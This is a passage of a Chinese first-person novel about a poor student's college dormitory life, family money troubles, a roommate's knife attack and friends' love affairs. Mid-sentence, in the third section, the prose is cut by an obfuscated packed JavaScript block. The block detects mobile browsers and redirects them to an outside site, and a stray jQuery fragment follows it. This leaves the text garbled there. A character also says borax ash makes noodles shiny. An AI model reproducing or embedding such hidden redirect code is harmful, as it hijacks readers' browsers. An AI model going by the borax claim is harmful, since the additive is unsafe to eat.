周婕说:“鸡还要煮一会儿。我来下锅,把容易熟的煮上。待会儿我们就可以吃了。” “撒尿牛丸是我要买的,我要吃撒尿牛丸!”赵娇说着去撕那包撒尿牛丸。 “我喜欢吃蟹棒!撒尿牛丸我也喜欢!”阿甘用勺子搅着锅里的食物说。 他们都忙活起来了,就我坐着不动,本来,我看着人手也够用的。说实话,我觉得他们的见识都比我多,现代化生活能力都比我强。面对这些新鲜的事物,我还真的有些拘谨和不知所措。我就坐着,等着吃了。 锅里的开水又冒起了水花。 赵娇说:“可以吃了吗?” “可以了。”周婕说,“鸡还要等一会儿。我们先吃其他的。反正够吃的。慢慢吃,不着急。” 我们几个看着电饭锅,开始捞菜吃。 周婕边吃边招呼我们说:“我们买了很多菜,你们要多吃一点哦。” “吃火锅就是要吃胀!”阿甘端着他的碗说。 周婕说:“小郭对我们还蛮好的。还请我们吃火锅。” “小郭真搞笑,她让我们在她宿舍吃火锅,她自己带上行李回老家了。”阿甘说。 我说:“我们是过年不回家。像他们回家的就享受不到这个待遇了。” 赵娇说:“哎呀!小郭是班主任嘛。像我们这样的穷学生,班主任给点温暖,对吧?很正常啦!” 周婕说:“我们慢慢吃。反正钥匙在我这儿,我们吃完打扫好卫生,给她把门锁好就行了。” 我们吃地开开心心地,吃完了,就坐在老师的床沿儿上说话。 “噢,对了,大省,我这里有你一封信!”周婕跟我说。 我一看信封,看那稻草棒子似的字体,是我弟弟写的,心里立马有了一种不祥的预感。 我躲在周婕背后,拆开信一看。 “姐,你还好吧。家里有急事,急需用钱,你那有钱吗,赶紧寄点过来,再迟就晚了!” 我的脑袋“嗡”地一下,脸色一下子变地煞白,坐在那里,半天不吭声儿。但是我知道家丑不可外扬,我也没有声张。我是实在没有想到,我弟弟搞钱能搞到我头上。 我很害怕,觉得天空有些昏暗。我弟弟怎么变成这样了。 我那时候还没有手机,我就去学校小超市里的电话亭里跟我妈妈打电话。那时的电话亭是一个个小小的格子间,在里头说话也不怕被人听见。 我问我妈妈:“妈妈,咱家最近还好吧?没什么事儿吧?” 我妈妈说:“咱家没什么事儿啊?你搁那儿还好吧?可好好地,跟同学搞好团结。” 我说:“我这里还好。俺班主任老师请俺这些不回家的内地生吃火锅的。” 我妈妈说:“噢,恁这是遇到好老师了,可得好好谢谢恁老师哈。” 我说:“知道了,妈。鸿雁写信问我要钱,他说咱家有事儿,需要钱。让我快点儿给他寄钱,要是不赶紧给他寄钱,就晚了。” 我妈妈说:“你不要管他!各人有各人的生活费。他凭什么问你要钱的?他搁山东上学,学着吃喝、谈恋爱,天天跟我要钱。一个学期,他花了我四千块钱。他没脸打电话问我要钱了,就往立围子恁大姨家打电话,让恁大姨跟我说,让我给他寄钱。我哪有钱啊,我给他的钱都是借的。让他把我的骨髓拿去!敲不敲不!砸不砸不!卖了吧!看看能值几个钱!他这是没脸跟我要钱了!跑去讹你去了!你不要给他!鼻子臭不能割去哎。男孩儿是条根儿!没有儿,人家光骂‘绝户’!”我妈妈恨恨地说。 我的家庭是不堪的,我给我妈妈打完电话,像是被雷轰了一样。半天不说话。 寒假里,我们这些不回家的住到了一起。我每天吃完饭,还是背着书包出去,找个空教室自习。直到中午午睡的时候,才回到宿舍里。 一天中午,我背着书包回到宿舍。赵娇正在蹲在地上做饭,我从她身边路过的时候,不小心绊到了她的接线板,可能把她的电给绊断了。 “你看!”赵娇没好气地说。 “对不起!”我连忙道歉。又继续往前走着去拿东西。说实话,我心里没太当回事儿。碰了一下接线板而已嘛,也没什么大不了的。 可是赵娇很生气。 “我刚插上的接线板,你就给我碰了,你就是个祸害!”她愤愤地说。我觉得她说话太冲,而且话里有话。当时,我跟我宿舍的人尤其是王大桂相处地并不和谐,也许在王大桂那里,我就是一个祸害吧。而赵娇跟王大桂很是要好。她们一起上网一起逛街,如漆似胶。 想到这儿,我就回了她一句:“你才是祸害!” 我的话音刚落,赵娇一下子跳起来,歇斯底里地吼叫着:“你是祸害!你是祸害!我要杀了你!”她说着,拿起一把长长的菜刀,就疯狂地朝我扑过来。说实话,我真的没想到也不知道赵娇为什么那么恨我。她手里拿着刀向我追过来,我不敢跟她拼命,我相信她的野蛮和狠辣,我拼不过她,我不跑,她不把我砍死,也会刺我好多刀。我撒腿就跑。 幸好我跑地快,我那时候是全班女子八百米跑步第一名,我还记得体育课上我的八百米成绩,3分24秒。赵娇是外八字,跑起步来比较笨拙,没我跑地快。她在背后疯了一样追着我喊:“宋——大——省——!” “赵娇!赵娇!”我听着周婕在背后喊着。以我对周婕的了解,我知道她看到赵娇要杀我,她不会坐视不管的。 “宋——大——省——!”赵娇迈着她的外八字笨拙又疯狂地追到楼道里来了。 我飞奔着往楼下跑,跑下四楼,跑下三楼二楼,跑到了一楼。到了一楼,我看看赵娇没有追上来。她可能是被我甩地太远了,实在追不上了。只好怪叫着回去了。 我在楼下停顿了一下。怎么办?总不能不回去吧?我回到四楼,隔着长长的走廊,往我们宿舍那里探了探头。宿舍里静悄悄地,没什么动静了。可是我还是不敢回去。毕竟。赵娇那个女人,可是会动刀子的啊。 我跑到我们宿舍对面一个少数民族同学的宿舍里。我认识的两个漂亮的哈萨克族女生正好都在。 “咦!你怎么来了!”她们看着我,笑着跟我说。这两个哈萨克女生是我平时去洗手间洗漱的时候认识的。她们都很漂亮,都是肤白貌美,浓眉大眼儿,大波浪卷儿,浑身散发着准新妇似的成熟大姐姐的味道。 我跟她们说:“我跟我宿舍的女生吵架了。她拿刀子要捅我。我能在你们这儿躲躲吗?” “可以呀。你来吧。你就藏到我的床上去。”那个哈萨克女孩爽快地说。她的床就是进门儿门后头第一个,在上铺。 “谢谢你了啊。”我爬上她的床,跟她说:“你帮我看着点儿哈。她要是来杀我,你帮我把她弄走哈。” “行的。”哈萨克女孩儿说。她端着盆子出去了。 没多大会儿,她又回来了:“我刚去你们宿舍门口儿看了。没事儿,她不会来的。你放心吧。” 我说:“我还是不敢回去。我再在你们这儿躲一会儿吧。” “行的。”那个哈萨克女孩说。 过了好半天,等赵娇的煞气烟消云散了,我才敢回宿舍。一切又平平静静的,赵娇在忙着她的锅碗瓢盆,也不再追杀我了。 周婕看我回来了,笑着说:“赵娇拿着刀追大省,可把大省吓坏了。” 周婕跟赵娇是一伙儿的,我跟周婕不经常一起玩。但在周婕的语气里,我还是听出了周婕对我的同情,听出了周婕对赵娇持刀追杀我的不可思议。对于赵娇持刀追杀我的这件事情,我也是不明所以。我在班里是比较边缘化的一个人,天天去图书馆,跟赵娇并无任何事务和口头上的交集,班里的是非我也从来不知道不参与。我跟她不仅没有什么龃龉,我还帮过她呢。我不是把大郭老师给我的那件红大衣拿给她穿吗?为什么赵娇那么恨我,要杀了我呢? 那天,要不是因为我跑地快,后果会怎样呢? 后来,每当忆及这件事,我都为我的及时躲闪而庆幸不已,为我的三分二十四秒的女子八百米成绩而骄傲不已。可是,等我再一次想起那天的情景,想起我,一个离家的小女孩子,被一个神经病持刀追砍四处奔逃的样子,我真想为我自己俯桌一恸!可怜我凄苦半生,怎么遇到了那么多的变太狂和神经病! 我因为长期离家,时间长了,也不怎么难过想家了。我在宿舍里跟同学们一起住着,说说笑笑,也很开心。我是自觉自己家庭不容易,想着好好学习,考研考回去,我把学习的事时刻牢记在心里。 “周婕,讲个故事给我们听吧。讲个韩国欧巴!”宿舍里的人说。 “好啊。”周婕说,“欧巴的故事讲地太多了。我今天要讲个鬼故事!哼哼哼哼!” “行啊,我就爱听鬼故事!” “我怕鬼!你先不要讲,等我出去你们再讲!”我说着,赶紧收拾书包准备出逃。 “大省怕鬼!哈哈哈哈!”她们笑着说。 我背上背包踏雪出去了。外头是冰天雪地,走在路上,脚底下“咯咯吱吱”地,让我心里很踏实。到处是堆起的雪,和不怕冷的绿色的树。 我去化学楼看书,一群少数民族的同学还有几个汉族同学也去。她们有的在另一个空教室自习,有的跟我一个教室自习。有的比较开朗、又会说汉语的少数民族同学很快跟我熟悉了起来。 “这两个字念什么?”一个少数民族的女生指着书上的两个字问我。 “列宁!”我说。 “哦。李爷佞!李爷佞!”她说。 “你们背这个干什么?”我问她。 “我们要考‘HSK’,就是‘汉语水平考试’。”她说。 “哦,原来你们都在学汉语。”我说。 “对。就像你们过英语四级一样,我们考了‘HSK’,能更好找工作。”她说。 我问她:“你是什么族?” “柯族。”她说。 “就是柯尔克孜族吗?” “是的。”她说,“塔西老师也是柯族。”她剪着短短的头发,单眼皮,打扮地像个男孩子,讲话还很斯文。 我说:“哦,我知道塔西老师,就是那个,五十来岁,个子高高的,壮壮的,像个厚道的大叔。” “是的。”她点头说,“我是纪检组的。” 我说:“哦,每天晚上,塔西老师都带着纪检组的人巡视。很辛苦的。” “是的。”她说,“有的人还没有回宿舍,我们要催他们回去睡觉。有的情侣躲在树丛里,我们要把他们赶出去!” “你的普通话蛮好的。”我说。 “我喜欢跟你们汉族同学说话,这样可以提高我的汉语水平。”她指着自己说。 又一个少数民族的女同学捧着书过来了,她浓眉大眼,黑红黑红的脸,身材高大,气质粗犷憨厚。 “她像个男版的塔西老师!”我笑着说。那个被我叫做塔西老师的女孩子听了我的话也笑了。 “嘿!小姑娘!说我像男的!”她做着鬼脸儿朝我吼叫着说。她的嗓门儿很大。她这一嗓子下去,让人觉着她更像个男的了。我大笑着看着她。 “我要考‘HSK’,陪我聊天儿吧。”她说。 “好啊!”我说。 “狼爱上羊呀,爱的疯狂!”她高歌道,“我唱地对吗?” “对呀,很好啊!”我哈哈大笑道。 她继续唱:“波斯猫眯着它的双眼,波斯猫踮着它的脚尖,波斯猫守着它的爱恋,一转眼却又看不见。” 她边唱,我边笑。笑得脸红红的。这个少数民族女孩太像个男孩子了,说实话,要是她是个男孩子,我真的会喜欢上她。我太喜欢这种粗犷的风格了。 “自你走后心憔悴,白色油桐风中纷飞。落花似人有情。这个季节,河畔的风放肆拼命的吹,不断拨弄离人的眼泪。”她又唱,“我唱的对吗?” “对!很好!”我说。 “当记忆的线缠绕过往支离破碎是慌乱占据了心扉。有花儿伴着蝴蝶,孤燕可以双飞,夜深人静独徘徊。当幸福恋人寄来红色分享喜悦,闭上双眼难过头也不敢回。仍然捡尽寒枝不肯安歇微带着后悔,寂寞沙洲我该思念谁。”她继续唱。 “你唱地太棒了!你唱地比我那些同学唱地都好!”我说。 “我唱地好吗?那我继续唱!”她说。她仿佛有唱不完的歌儿,有说不完的话,她仿佛有无限的能量。 我说:“我也得看会儿书了。我还得背单词呢。” “不行!陪我说话!”她说。 “我真的要看书了。”我说。我低着头看书,不再理她。 “不行,陪我说话!”她说。 她靠近我,放开嗓门儿,冲着我唱:“狼爱上羊呀,爱的疯狂!” 她是故意唱歌来打断我呢。我真是又气又好笑。我想躲开她了。好在,她不像我那么有毅力。大多数时间,教室里都是我自己。 是的,大多数时候,空荡荡的教室里是我自己。我喜欢清静。我看看书,背背单词,看着窗外的小松树上,一只不怕冷的小鸟自在地来去。它落在枝头上,蹬落了树上的雪,雪簌簌地往下落。这样看着它,我的心里一点都不寂寞。我的书包里还装着一本借来的《天下粮仓》。我看书看够了,就把这本《天下粮仓》翻开来看看。有时候,我自己也在纸上写写画画,试着填词。吃过午饭,一楼门卫师傅的小电视里正在放电视剧《京华烟云》,我也跑进去蹭着看一会儿,然后再上楼去看书。晚饭后也去看上几个小时的书。那时候只知道时间金贵,不能浪费,也不知道害怕。 寒假里,我最开心的是盼着过年,每逢年三十晚上,学校都会请我们这些留守学生吃年夜饭。我早早地就开始翘首以盼了。年夜饭安排在食堂,旁边是开水房。我借着去打开水的时间瞧着,看看什么时候开始。终于,组织年夜饭的塔西老师开始发请帖了。我赶紧去领上几张。然后开心地等着晚上六点的年夜饭。请帖就是一个比饭票大不了多少的粉色的小纸片。上面写着:学校拟于2006年2月17日8点,请没有回家过年的同学吃年夜饭,请届时光临。 我当然会光临了。那是我第一次有机会吃大餐。我很早就去了。二楼餐厅里可以说是灯火辉煌,张灯结彩。食堂里头的叔叔阿姨都在忙碌着。塔西老师也在热情地招呼着大家。我去了就找个位子坐下。桌上,早就放满了糖果,干果,瓜子,花生,随便吃。我跟同学们一起吃着,特别开心。等大家都到了,欢聚一堂,塔西老师简单地一个开场白,大家就开始吃了。各种冷菜、热菜,源源不断地端上桌。这都是我平时吃不到的。不回家,在学校里过年,真是又省车费,又能吃顿好吃的。我觉得好开心啊。吃完了,给家里打个电话。心满意足地回宿舍了。我也没有什么娱乐,又继续看书去了。 2.田青、郑茂 田青爱画画,她自己买的画画的纸笔和颜料,在纸上画,在宿舍墙壁上画。 她睡在我斜对面的上铺,有一次,她站在她的床上,在她床头雪白的墙壁上挥毫作画。那副画画地很大很抽象:一个蓝色的人长着红红的嘴,像个鬼。这幅可怕的巨幅画作就在她的床上展示着,我看了很是害怕。幸而不久以后,宿管查宿的时候看见了,勒令她擦掉,她只好辛苦地擦掉,我则是暗自叫好。 田青也爱看书。她去图书馆都是为了借书。 一次,我走在前头,她走在后头,手里捧着她的好几本书。 我转过头来问她:“田青,你都借的什么书啊?” 她说:“有叔本华的,也有卡夫卡的。” 我说:“这些书我都没看过,也不感兴趣。我只看自己的书,没时间看其他的书。” 田青说:“我也忙啊,我经常跑邮局,我的一首诗又在《星星》诗刊上发表了。” 我说:“真的啊。给我看看。” 我们跑到一个自习室里,田青把她写的诗拿给我看,我边看边赞叹。 我说:“田青,你的诗写地真好,有很多新词、新事物,清新而抽象。你诗里的意味儿,我都能心神领会。但是具体地说,又说不出来。这就叫只可意会,不可言传。” 田青说:“我写的诗,也就给你看看。他们都不懂。你这么会欣赏,也一定会写。你怎么不写啊?” 我说:“我对写诗不太感兴趣,我想考研。非要写诗,我也可以写一点点,但是我看的书不多,尤其是你看的那些书,我都没看过。” 田青说:“人家都知道你英语好,不知道你文学也好。” 我说:“他们知不知道无所谓了,我现在完全收敛了自己的兴趣,以学业为主了。除了你,没有谁知道我还有点文笔。” 田青说:“那你就写写吧,让我也看看你写的诗。” 我说:“我不想写了。我觉得卖弄文笔没多大意思。我要好好完成学业,找个好工作。我跟你不一样。我的家庭条件太差了,我虽然有一点文学功底,但是,我读过的书、见过的世面,跟人家家境好文笔又好的同龄人相比,我只是井底之蛙。” 田青说:“我不急着找工作,我家条件还行吧。” 我说:“所以,你可以做个真正的文艺爱好者,我就不行。” 田青说:“我就喜欢画画。我还认识一个上海的画家呢!他给我写信,还给我寄了他的书和照片。你看!这就是他的书,里头有他的照片。” 我接过那本书,翻开几页,就看到了那个画家的照片。那个男人有四十岁左右吧,长得还算板正,抱着手,站着拍了一张照片,放在他自己的书的封面的里头。 田青问我说:“帅吧?” 我说:“他长得还行吧。我怎么觉得他自我感觉良好呢。他不就是一个中年大叔嘛。” 田青说:“我们见过面了。他一点都不显老。” 我说:“我对这个人不感兴趣,我也没有钱去上海。” 田青笑着说:“你不懂他!” 有一天,田青给我看她写的诗,我看了看,是写给阿里的:“阿里,闭目的冥王……” 我说:“阿里是谁?他是死了吗?” 田青说:“阿里是我跟画家的孩子。我把他做掉了。” 我大吃一惊。我说:“怎么回事?” 田青说:“我去上海的时候,他给我订的酒店,当天晚上,我们就在一起了。”她说地很轻松,一点也不像我那么紧张害怕。 她说:“我们都不想很快结束,就慢慢地进行。” 我说:“那后来,你就怀孕了吗?” 她说:“我回来以后不来大姨妈,我测了一下,发现怀孕了。” 我的心都要紧张到嗓子眼儿了。 我说:“天呐!你是怎么去流产的,谁陪你去的?这件事,可不能被人说出去啊。” 她说:“我让秋颖陪我去的。” 我说:“噢。”我心里其实有点觉得对不起田青,因为在她最需要照顾的时候,我一点儿都不知道。她居然没有找黄芳,也许她觉得秋颖更老实更会保守秘密吧。 我说:“唉,我一点都不知道。” 她说:“你天天忙着学习,你哪里知道?” 我说:“你身体没事儿吧,听说,流产以后也要坐月子呢,不能劳累不能碰凉水的。” 她说:“我那阵子洗床单都让秋颖帮我,你是忙着学习,没有注意。” 我既害怕,又心疼她。我说:“你妈妈知道吗?她怎么说的?” 她说:“我告诉我妈妈了,她让我好好休息,注意身体。” 我说:“她没有责怪你啊?” 她说:“没有啊。在我们那边,婚前性行为很正常啊。” 我又问:“那个画家呢?他是怎么说的?” 她说:“他让我好好休息。他还给我寄了他的画。” 我说:“去他娘的吧!这个时候不给你寄点钱,买点营养品补补身体,还给你寄什么狗屁画,我才不要看!” 我又问她:“你们现在怎么样?你们的关系怎么说的?他对你没有什么交代吗?” 她说:“没怎么样啊。他有过女朋友,她叫梅,他很爱他。他心里还有她。” 我说:“这个女的,我在你的诗里看到过,你很羡慕她,羡慕他们可以天天在一起。” 而田青,她拥有的,可能只是画家赏光的那一次吧。就那仅有的一次还伤了她的身体。 我心里很心疼田青,很替她不值。在我看来,那个上海的男人是什么狗屁画家,他就是个骗子。他仗着自己有个兴趣爱好,到处招摇撞骗,骗了田青这样纯良的无知少女,还抠门铁公鸡一个,毫不负责。可是田青不以为然,她好像还很珍惜这次经历。我也就不再说什么了。我还是每天背着书包去图书馆。 男生中爱去图书馆的是郑茂。他个子高高的瘦瘦的,脸蛋也是修长的白白的。听说,他家庭条件很好,家里开厂,又听说他身体不太好,所以才那么瘦。郑茂跟周婕是老乡,都是四川人。周婕经常叫他“郑少爷”。 周婕有什么好吃的,就嚷着说:“我要去给我老乡送去”。她也经常约着郑茂一起去吃饭。那时候,我只知道她们是老乡,不知道周婕其实是暗暗喜欢上了郑茂。我那时候还是像高中的时候一样,不怎么跟男生说话,看见男生就躲。郑茂爱看书,常去图书馆,我们虽然不怎么说话,但是因为同样爱看书爱学习,故而彼此都有点惺惺相惜。正因为这样,我见了郑茂才越发躲着,越发不怎么跟他说话。 有一次,我背着书包去空教室里自习,推门一看,教室里只有郑茂一个人。我赶紧背着书包离开,剩下郑茂在后头扒着门儿喊:“你还要去哪里?”我没有回答他。我心里有些紧张。我背着田青给我的那个蓝色的背包,一溜烟儿躲到了厕所里。那时候是夏天,我上完厕所,开始拔腋毛。夏天的腋毛特别好拔,我拔起来毫不手软,“嘶嘶嘶”,跟拔地上的节节草一样。 我边拔腋毛边慌乱地想,众所周知,我家境贫寒,我自问自己,想要开展一场恋爱,我还没有足够的条件。况且,我也不知道爱情为何物,该怎么去谈恋爱。再说了,我对恋爱也没有那么迫切。我的身体还没有那么成熟,我的灵魂也不需要谁来救赎。我拔完腋毛,思考完毕,就匆忙地走开了。 但是,那阵子,我们班的李远经常跟我开玩笑。郑茂在旁边的时候,李远就冷不丁地走到我跟前,郑重其事地大叫一声:“大省!”我知道李远在跟我开玩笑,同时又一头雾水,莫名其妙。只见郑茂追着李远打他,黑黑的李远也看着我们露出大白牙,笑得跟个猴子似的。 有一回,班里要选举班干部。唱票的时候,主持人连着喊了几句:“大省、郑茂”,“大省、郑茂”。我跟郑茂都是不问世事的人,肯定是有人恶作剧,故意把我们的名字给写到了一起。 我那时候是全班闻名的爱学习,是刻苦学习的穷人家的孩子。我沉迷学习,偶尔想想郑茂,让自己无知单纯的头脑,被那些自己都说不清的青春的苦恼缠绕一会儿。但是我很快就会清醒过来,我知道这是不可能的,我想考研,我要回去。 有一回,我又去图书馆。郑茂看见我,问我说:“我带的涪陵榨菜,你吃了吗?” 我说:“我不知道,我没见到啊。” 他有些狐疑地说:“我让周婕分给你们宿舍的人,你没吃吗?” 我说:“没有,从来没见过。” 郑茂很是疑惑:“咦,怎么回事?” 我说:“没有就没有吧。我本来就比不上他们。他们不都这样说我嘛。我只知道看书,没什么能力。” 郑茂说:“能力,到社会上可以锻炼。狮(思)想才是与生俱来、无可代替。” 我说:“我也没什么思想。他们都说我浅薄。” 郑茂笑着说:“你每天都充满了活力。我们才学的那个单词,energetic,不就是说你吗?” 我说:“反正不管我事,我也不好多问,也就是一包榨菜而已。”说完,我就自己走开了。 周婕不太喜欢我,我知道。所以,她不把郑茂带的榨菜给我吃,无论出于什么原因,都没有什么好奇怪的。何况,我也经常不在宿舍,人家分而食之的时候,我不在。或者,人家专门挑我不在的时候分而食之,都是可能的。何况,一包榨菜而已,即使是郑茂带的,我也不觉得有什么好感动的。 3.大三师姐 大二一开始,重新分宿舍了。我搬到了新的宿舍里。 “这里有人吗?”我问站在我对面的一个师姐。 “没有!”她说。 我说:“那我就住这儿吧。我原来就住在这儿。” “你是大二的?”我对面的师姐笑着问我说。她单眼皮儿,瓜子脸儿,不太白皙的红黄的脸蛋儿上亮晶晶的。她扎着马尾辫,穿着蓝色的牛仔裤,黑色的小皮鞋,说起话来稳稳重重,整个人看起来干干净净。 “是的,师姐。我叫宋大省,你叫什么啊?” “我叫依依。她叫婷婷。”她笑着指着另一个女孩子说。那个女孩子白皮肤,双眼皮儿,鹅蛋形的脸蛋儿,又漂亮又有个性。 “我还跟林帅一起去接过你呢。”婷婷师姐皱着眉头挑起嗓门儿说。 “啊?我想起来了。”我说。 依依师姐笑着说:“真巧。我们居然住到一起了。” 我说:“我们班的都搬到六号楼了。那里是六人间,一学期六百块钱。这里八人间,只要二百块钱。” 依依师姐说:“我跟婷婷还有俏俏,我们三个玩的好。我们就住到一起了。” 旁边的一个女孩子冲我笑了笑。她就是俏俏师姐了。俏俏师姐个子最高,眼睛最大,笑起来更真诚更灿烂。她长着一张瓜子脸,牙齿和嘴巴像个小兔子的牙齿和嘴巴一样,使她的脸看起来更加乖巧可人。 我说:“你们都好漂亮啊,好会打扮啊。你们的头发颜色真好看,在哪里染的啊?” 依依师姐笑笑说:“我们三个在宿舍里,用海娜粉儿掺了鸡蛋清,自己染的。酒红色。” 正说着,一个黑黑壮壮剪着短头发的小师妹拎着东西进来了。 “哈喽!大家好!我叫甜甜!”小师妹笑容灿烂地说。 “你们大一的还有两个吧?”依依师姐问她。 “还有蕾蕾。”甜甜笑着说。 我说:“你真是名副其实啊。叫甜甜,笑地也甜。” 甜甜小师妹露出一口白白的牙齿,笑地更加灿烂地说:“哪里!哪里!您过奖了!” 一个下午,我们同宿舍的八个人约好了去学校大门口儿拍照。那儿的草坪上,有一棵粉色的蔷薇花。我们八个人梳洗打扮好,收拾地漂漂亮亮的走着去了。我们有说有笑地往前走着,到了学校大门口儿,远远地,我看到院墙下那棵盛放的蔷薇花了。此时,两个农民工骑着自行车朝学校大门口儿赶去。其中的一个工人不知道是怎么回事儿,“扑通”一声,从正骑着的自行车上摔了下来,摔在学校大门口儿平平的水泥地上。这可真是件怪事儿,好好的四平八稳的水泥地,他居然自己摔下来了。 这三个大三的师姐虽然没有多富裕,但是打扮地成熟得体。偶尔,她们也踩着高跟鞋,“咯噔咯噔”地,跟我一起去图书馆。她们也站在图书馆里,捧起一本书,煞有介事的看。但是,锃亮的高跟鞋儿,酒红色的波浪卷儿,牛仔裤勒着的长腿细腰,使她们去图书馆更像是一场走秀。她们这样肤白貌美大长腿的美人自然不会长期安心学习的。她们除了穿着高跟鞋“咯噔咯噔”地去上课,其余很多的时间,她们的心思并不在学习上。 俏俏师姐经常去她婆婆家,有时候也说说她婆婆的坏话。 “赵明诚的妈,可懒了。她去地里干活儿,老让我在家里做饭!”俏俏师姐坐下铺的床上跟她们抱怨说。 “那你还屁颠屁颠地往他家里跑?”依依师姐问她。 “幸好马宝伟没有妈了。我可不愿意做饭。”婷婷师姐说。 电话响了。 “肯定是赵明诚来电话了。”依依师姐说。 俏俏师姐接过电话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137799|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立马变得开心愉快了,她像个快乐的小鸟一样叽叽喳喳地说起她跟她婆婆相处的温馨和融洽。 “你妈可疼我了,烧的饭里放了我爱吃的山芋!” “我知道怎么把面条擀地发亮了,和面的时候放点硼灰。面条就会发亮!” “蕾蕾!你在干嘛呢!”婷婷师姐一惊一乍地说。蕾蕾小师妹正光着膀子,蹲在她的床头上。她跟前的小桌子上,铺着一张卫生纸,纸上堆着一堆黑毛。 “我在拔腋毛呢!拔地好辛苦啊!”蕾蕾小师妹说。 “恶心死了!”婷婷师姐说。 蕾蕾说:“我管你们恶心不恶心呢。我拔光了,徐智理看着好看就行。” “恶心死了。你到厕所拔去,别在这儿恶心我们。”婷婷师姐说。 “我刚从厕所回来。我累地都要虚脱了!”蕾蕾小师妹说。 “你新陈代谢那么好?怪不得你那么瘦!”婷婷师姐说。 “啊!我每天早上都要上厕所。Every day !Every morning!”蕾蕾小师妹夸张地瞪着眼睛说。 “唉!我又便秘了,像我这样的,上个厕所跟拉黄金似的!”婷婷师姐说。 “你刚才进卫生间,喊了我一声,把我吓得尿停了!我正尿地爽呢!”蕾蕾说。 “我走了你再接着尿呗!”婷婷说。 “哎!你们帮我参谋参谋,这件衣服漂亮吗?”蕾蕾拿过来一件白色带碎花的衬衣说,“这是我刚买的。” “漂亮!还蛮淑女的呢。”依依师姐说。 “我下次跟徐智理约会的时候就穿它!”蕾蕾美滋滋地说。 “蕾蕾跟我们面前特别邋遢。跑到徐智理跟前就开始装淑女了。”婷婷师姐说,“你们发展到哪一步了?” “已经可以一起放屁,吃大蒜了!”蕾蕾小师妹张开嘴巴笑着说,“哎,问问你们,男生为什么喜欢摸人啊?” “哈哈哈哈!你们拥抱了?”婷婷师姐笑着问她。 “嗯。”蕾蕾说。 “自然的生理反应呗。”婷婷笑着说,“男生都这样儿。你没跟他说,我躺展,你放马过来?” “还没到那一步呢!”蕾蕾说,“问问你哈,怎么样可以让胸变大?” “吃肥肉就可以!”俏俏说。 “我不爱吃肥肉!”蕾蕾说。 “怪不得你瘦地跟猴子似的!”婷婷说。 “俏俏师姐可以!你看她的!奔波儿灞!霸波尔奔!”蕾蕾说。 “这个是天生的!”俏俏师姐咯咯地笑着说。 “游泳,游泳可以!”依依师姐说。 “那我回头去学游泳去!”蕾蕾说。 “你们都谈了,就我跟大省是孤家寡人了。”依依师姐说。 “回让赵明诚给你介绍一个。”俏俏说,“他们军营里多的是。” “那我又多了一个当兵的姐夫了。”蕾蕾说:“大省不着急谈恋爱。大省有一个聪明的大脑袋,将来,不是博士,就是灭绝师太。” 婷婷师姐说:“我就算了,我跟马宝伟说,等我们以后生个孩子,好好教育他,让他跟大省一样,爱学习!” 俏俏师姐说:“大省那个地方夜里发光的。” 我说:“谁啊?” 俏俏师姐说:“你,你那个地方夜里发光。” 我说:“啊?是不是我当时没有睡觉,弄的光亮啊。” 俏俏师姐说:“不是。你睡着了,半夜,我醒来的时候,看到你的床上在发光。” 我说:“你肯定看花了眼了,要么就是我得了什么病,所以发光了,我怎么可能有特异功能。” 俏俏师姐说:“我没看花眼,你那个地方就是发光了。” 我听了俏俏师姐的话,觉得好笑又好玩。好端端的,我这个地方怎么会发光呢。我知道传奇故事里,文曲星降生,他们的宅第会红光满屋。我一个肉体凡胎的普通人,怎么会发光呢。尽管我酷爱学习,但我很清楚我资质平庸,我的结局顶多不过是有一份比较满意的工作而已。我怎么可能高级到会发光。 婷婷师姐说:“就因为大省爱学习,我中午想在宿舍玩都不可以。每次大省回来午睡,我都拎着包出去。” 依依师姐说:“谁让你起的那么晚呢。人家学习,你睡觉。人家睡觉,你才刚起来。” 我说:“跟你们住在一起真好。跟天堂一样。你们不仅不排挤我,还支持我,让着我。” 有一段时间,俏俏师姐生病了,她在宿舍用盆子泡着高锰酸钾坐浴。坐浴完了,她还要用一个红色的小盒子放在肚子上焐着。 蕾蕾小师妹说:“俏俏,你怎么了?” 俏俏说:“我宫颈糜烂,腰疼。” 蕾蕾小师妹说:“肯定是那个当兵的没文化,太粗鲁了。” 俏俏师姐说:“我都花了一万多了,都是赵明诚给我花的。” 我说:“那你快好了吗?” 俏俏师姐说:“还没有。我回来上上课,再回去养病去了。赵明诚在他的附近找的房子。我没课的时候就住在那儿。” 我说:“那我想你的时候就去看你。” 俏俏师姐说:“好的。” 不久,依依师姐也谈恋爱了,对象也是当兵的,好像是俏俏师姐对象的战友,她们在一起出去玩的时候相识了。依依师姐平时很老实,一旦谈了恋爱也是昏天黑地地发信息打电话。对方也是开始施展恋爱的伎俩。依依师姐还把她们的信件拿出来给我们看。 蕾蕾小师妹拿着依依的信,拿腔拿调地读着:“噢!宝贝,亲爱的宝贝,你那么爱我,你把你的一缕头发寄给了我,我一定会一辈子都好好珍惜你的。” “你为什么要寄头发给他?”蕾蕾小师妹问依依师姐。 “‘青丝’,就是‘情思’嘛。头发,还有结发夫妻的意思。古代人结婚,就是把头发绑在一起。”依依师姐说。 “哇,好浪漫!”蕾蕾小师妹感慨道。 恋爱中的男女,当然有说不尽的柔情蜜意。其实,局外人看来,无非是一个孤单的男人和一个孤单的女人的那点事儿,她们之间的感情注定会从波谷到波峰,再从波峰到波谷,画出一道完美的弧线。 一个晚上,俏俏师姐的电话响了,她赶紧从床上爬下来接电话。 “知道了。”她说,她的声音有些哽咽。对方应该也在哭着跟她说什么。我预想到俏俏师姐的婆家发生了什么不幸的事。 “嗯,我马上收拾一下就去。”俏俏师姐说。 “赵明城的妈妈死了。”她挂了电话说。 “啊,怎么突然死了?她不是之前生病了,才出院吗?”我们说。 “他爸爸跟他妈妈一起浇地,他妈妈去扳闸刀,被电死了。之前生病,花了一万多。才治好。我马上要去他家。”俏俏师姐收拾几件衣服匆匆忙忙地走了。她是一个既美丽又温柔贤惠的女人。她的没有过门儿的婆婆去世了,她当然要回去。跟她作为长子的对象一起顶门立户,操持丧事。 